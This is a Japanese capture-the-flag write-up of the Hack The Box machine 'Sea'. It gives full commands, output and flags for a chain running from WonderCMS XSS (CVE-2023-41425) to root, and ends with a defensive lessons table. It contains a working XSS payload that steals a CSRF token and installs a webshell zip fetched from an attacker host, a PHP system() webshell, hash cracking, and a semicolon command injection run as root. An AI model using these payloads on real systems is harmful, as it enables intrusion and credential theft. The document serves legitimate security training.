Hack The BoxのWriteup(Sea)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Sea — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80
→
WonderCMS 3.2.0検出
/themes/bike/version
→
CVE-2023-41425 XSS
contact.php website欄に注入
→
admin bot来訪
CSRFトークン窃取→モジュール設置
→
www-data RCE
cmd.php webシェル
→
database.js bcrypt
hashcat -m 3200→mychemicalromance
→
SSH amay → user.txt ✓
→
SSHポートフォワード
127.0.0.1:8080 System Monitor
→
log_file コマンド注入 → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,80 10.129.92.218
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://sea.htb/

/etc/hosts 登録 & CMS特定

BASH
echo "10.129.92.218 sea.htb" | sudo tee -a /etc/hosts
curl -s http://sea.htb/themes/bike/version
RESULT
3.2.0
🚨
WonderCMS 3.2.0 と確定。このバージョンには未認証から発火できる CVE-2023-41425(contact formのXSS→管理者セッション奪取→RCE)が存在する。
PHASE 2

攻撃用アセットの準備 (webシェルzip & xss.js)

WonderCMSの「モジュールインストール」機能

NOTE
WonderCMSの管理画面には ?installModule=<zipのURL>&directoryName=<展開先ディレクトリ名>
&type=themes&token=<CSRFトークン> というパラメータで、外部URLからzipをダウンロードし
themes/配下に展開できる機能がある(本来はテーマ/プラグイン導入用)。
これに任意のPHPファイルを仕込んだzipを渡せば、認証済み管理者のセッションさえ奪えば
Webシェルを自由に配置できる。CVE-2023-41425はこの「管理者セッションを奪う」部分を
contact formのXSSで実現する。

PHP Webシェルをzip化

BASH
mkdir revshell-main
echo '<?php system($_GET["cmd"]); ?>' > revshell-main/cmd.php
zip -r main.zip revshell-main/
ℹ️
zipのトップレベルディレクトリ名(revshell-main)が、インストール後に themes/revshell-main/ として展開される。

攻撃者側にHTTPサーバーを起動し main.zip / xss.js を配信

BASH
python3 -m http.server 8000
PYTHON (xss.js — ブラウザ上で実行される攻撃コード)
var b = "http://sea.htb";
var x = new XMLHttpRequest();
x.withCredentials = true;          // 管理者の既存セッションcookieを使わせる
x.open("GET", b + "/", true);
x.onload = function () {
    // ページ本文からCSRFトークンを抜き取る
    var d = new DOMParser().parseFromString(this.responseText, "text/html");
    var t = d.querySelector('[name="token"]');
    if (!t) return;
    var token = t.value;

    // トークン付きでモジュールインストールAPIを叩く
    var xi = new XMLHttpRequest();
    xi.withCredentials = true;
    xi.open("GET", b + "/?installModule=http://10.10.15.200:8000/main.zip" +
                   "&directoryName=revshell-main&type=themes&token=" + token, true);
    xi.send();
};
x.send();
⚠️
WonderCMSはCSRF対策として毎回トークンを発行するが、XSSが刺さった状態では管理者ブラウザ内で JavaScriptが実行されるため、管理者自身のCookie付きでトークンを取得し、そのまま同じブラウザ内 から正規のAPI呼び出しとしてモジュールインストールを実行できてしまう(CSRF対策はXSSには無力)。
PHASE 3

contact formへXSS注入 & webシェルRCE確立

contact.php の website フィールドにXSSペイロードを送信

BASH
curl -s -X POST http://sea.htb/contact.php \
  --data-urlencode "name=pentest" \
  --data-urlencode "email=pen@test.com" \
  --data-urlencode "age=25" \
  --data-urlencode "country=Japan" \
  --data-urlencode 'website=http://sea.htb/index.php?page=LoginURL">
ℹ️
website欄はWonderCMSの問い合わせメッセージ内にサニタイズされずに 埋め込まれる(反射型/格納型XSS)。index.php?page=LoginURL">で既存の <form>を強制終了させ、任意の<script src=...>を注入する。

admin bot(管理者の定期巡回)の発火を待つ

NOTE
このボックスには、管理者がログイン中のブラウザで定期的にサイトを巡回する
自動化スクリプト(ヘッドレスChrome)が仕込まれている。問い合わせメッセージが
表示されるページを巡回した際にXSSが発火し、xss.jsがCSRFトークンを使って
モジュールインストールAPIを呼び出す。
2回に分けて送信しておくと、巡回タイミングのズレに対して成功率が上がる。
BASH
# HTTPサーバーのアクセスログで発火を確認できる
# 127.0.0.1 - - [...] "GET /?installModule=http://KALI:8000/main.zip&directoryName=revshell-main&type=themes&token=..." 302
tail -f /tmp/http_server.log

Webシェルの設置確認 & RCE

BASH
curl -s 'http://sea.htb/themes/revshell-main/cmd.php?cmd=id'
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! 管理者権限を一切知らずに、XSS経由で任意PHPファイルを Webルート配下に配置できた。
PHASE 4

database.js から管理者ハッシュを回収・クラック → SSH → user.txt

WonderCMSの設定ファイルから管理者bcryptハッシュを取得

BASH
curl -s 'http://sea.htb/themes/revshell-main/cmd.php?cmd=cat%20/var/www/sea/data/database.js'
RESULT
{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        ...
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        ...
    }
}
ℹ️
WonderCMSは認証情報をDBではなく data/database.js という単一のJSONファイルに 保存する(ファイル名こそ .js だが実体はJSON)。JSON内の \/ エスケープを / に戻してからハッシュとして使う。

hashcat でbcryptをクラック

BASH
echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > admin.hash
hashcat -m 3200 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
hashcat -m 3200 admin.hash --show
RESULT
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
⚠️
bcrypt(-m 3200)はコスト要因のためrockyou.txt全体の総当りに数分かかる。既にキャッシュ済みの 場合は --show だけで即座に結果が出る。

対話可能なOSユーザーを列挙しパスワードを再利用

BASH
curl -s 'http://sea.htb/themes/revshell-main/cmd.php?cmd=cat%20/etc/passwd' | grep '/bin/bash'
RESULT
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:,,,:/home/amay:/bin/bash
geo:x:1001:1001:,,,:/home/geo:/bin/bash
BASH
sshpass -p 'mychemicalromance' ssh amay@10.129.92.218 'id; cat ~/user.txt'
RESULT
uid=1000(amay) gid=1000(amay) groups=1000(amay)
00455ff68dbf2cd8f2e1ec9f3bdb03f6
user.txt — amay
00455ff68dbf2cd8f2e1ec9f3bdb03f6
✅
WonderCMS管理者パスワードが、OSユーザーamayにそのまま再利用されていた。
PHASE 5

内部限定サービスの発見 & SSHポートフォワード

ローカルリスニングポートの確認

BASH
amay@sea:~$ netstat -ntlp 2>/dev/null || ss -ntlp
RESULT
tcp   0   0 127.0.0.1:8080   0.0.0.0:*   LISTEN   -
🚨
127.0.0.1:8080にlocalhost限定のサービスが稼働している。外部からは見えないが、 root権限で動作している「System Monitor」というWebアプリだと推測できる (プロセスオーナーが`-`で表示される=`amay`からは権限不足で見えないがrootのプロセスと判断)。

SSHローカルポートフォワードで公開

BASH
sshpass -p 'mychemicalromance' ssh -o StrictHostKeyChecking=no \
  -L 18080:127.0.0.1:8080 -N amay@10.129.92.218 &

curl -s http://127.0.0.1:18080/
RESULT
<title>System Monitor(Developing)</title>
...
<h2>Analyze Log File</h2>
<select name="log_file">
  <option value="/var/log/apache2/access.log">access.log</option>
  <option value="/var/log/auth.log">auth.log</option>
</select>
<button type="submit" name="analyze_log">Analyze</button>
ℹ️
Basic認証(amay:mychemicalromance)が掛かっている簡易ダッシュボード。 「ログファイル解析」機能があり、log_fileパラメータでファイルパスを選択させている。
PHASE 6

log_file パラメータへのコマンドインジェクション → root.txt

コマンドインジェクションの確認

NOTE
System Monitorのバックエンドは、おそらく以下のような実装になっている
(シェル経由でログ解析コマンドを呼んでいる):
  system("some-analyzer " . $_POST['log_file']);
log_fileの値をサニタイズせずシェルに渡しているため、セミコロン( ; )で
コマンドを連結すれば任意コマンドを追加実行できる。

root.txt を読める場所にコピーして回収

BASH
# Basic認証付きでPOST。amayには/root/root.txtを直接読む権限が無いため、
# root権限で動くSystem Monitor側に処理させてコピーさせる
curl -s -u amay:mychemicalromance -X POST http://127.0.0.1:18080 \
  --data-urlencode 'log_file=/var/log/apache2/access.log;cp /root/root.txt /tmp/.sea_rf;chmod 644 /tmp/.sea_rf' \
  -d 'analyze_log='
BASH
# root権限でコピーされた一時ファイルをamayから読む
sshpass -p 'mychemicalromance' ssh amay@10.129.92.218 'cat /tmp/.sea_rf'
RESULT
e5dbb61053cb8e6ccafc2beada7ac56c
root.txt — root@sea
e5dbb61053cb8e6ccafc2beada7ac56c
⚠️
直接 cat /root/root.txt を試すだけでは失敗する(amayには /root配下への読み取り権限が無い)。root権限を持つSystem Monitor側の コマンド実行機能を使って、root.txtをamayが読めるパーミッション・場所に コピーさせるのが正しい回収手順。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — amay
00455ff68dbf2cd8f2e1ec9f3bdb03f6
root.txt — root@sea
e5dbb61053cb8e6ccafc2beada7ac56c

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2023-41425 WonderCMS 3.2.0 (contact.php) 未認証からの管理者セッション奪取 → RCE Critical website欄の未サニタイズ出力でXSS注入、管理者巡回時にCSRFトークンを窃取しモジュールインストールAPIでWebシェルzipを配置
パスワード再利用 WonderCMS管理者 → OSユーザー amay 横移動(SSH) Medium bcryptクラックで得たCMS管理者パスワードがOSアカウントにも使われていた
OSコマンドインジェクション 内部専用 System Monitor アプリ (127.0.0.1:8080, log_fileパラメータ) root権限でのコマンド実行 Critical ログファイルパス選択パラメータをシェルに未サニタイズで渡しており、セミコロンで任意コマンドを連結実行できる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + /themes/bike/versionWonderCMS 3.2.0確定
2準備Webシェルzip + xss.js作成CSRFトークン窃取ペイロード
3XSS/RCEcontact.php注入 + admin bot待機www-data RCE (cmd.php)
4横移動database.js bcrypt + hashcat + SSHuser.txt(amay)
5内部調査netstat + SSHポートフォワードSystem Monitor(127.0.0.1:8080)発見
6権限昇格log_fileコマンド注入root.txt

学んだ教訓 & 防御策

問題点防御策
問い合わせフォームの入力値がエスケープされずHTMLに出力される(XSS) 全ユーザー入力をHTML出力時にエスケープする。CMSを既知CVE修正済みの最新版へ更新する。
CSRFトークンの検証がXSS経由での「正規ブラウザからの正規リクエスト」を防げない CSRFトークンはXSS対策の代替にはならない。入力バリデーション・CSP(Content-Security-Policy)でインラインスクリプト/外部スクリプト読込を制限する。
アプリケーション管理者パスワードをOSアカウントに再利用 用途ごとに異なる認証情報を発行し、パスワード使い回しを運用ルールで禁止する。
内部限定("localhost only"という思い込み)の管理ツールがコマンドインジェクション可能でroot権限稼働 「localhostにしか公開していないから安全」という思い込みを捨て、ローカル限定サービスでも入力値のサニタイズ・最小権限での実行を徹底する。SSHポートフォワードはローカル限定の防御を容易に無効化する。
HackTheBox: Sea | 完全攻略レポート